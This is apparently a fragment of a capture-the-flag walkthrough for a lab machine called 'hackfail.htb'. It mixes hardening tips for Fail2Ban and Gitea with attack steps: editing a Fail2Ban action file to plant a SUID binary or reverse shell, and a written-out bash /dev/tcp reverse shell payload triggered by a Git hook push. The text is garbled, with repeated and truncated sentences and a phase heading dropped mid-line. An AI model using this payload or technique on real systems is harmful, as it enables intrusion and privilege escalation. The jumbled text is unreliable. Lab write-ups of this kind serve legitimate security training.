Ensure that configuration files for security tools like Fail2Ban are only writable by the root user.
Add a command to one of the scripts (like iptables-multiport.conf ) that creates a SUID binary or sends a reverse shell. hackfail.htb
Insert a bash reverse shell payload: bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1 . Push a dummy commit to trigger the hook. 🐳 Phase 3: Lateral Movement & Docker Ensure that configuration files for security tools like
Always keep Gitea and other web services patched to the latest version. hackfail.htb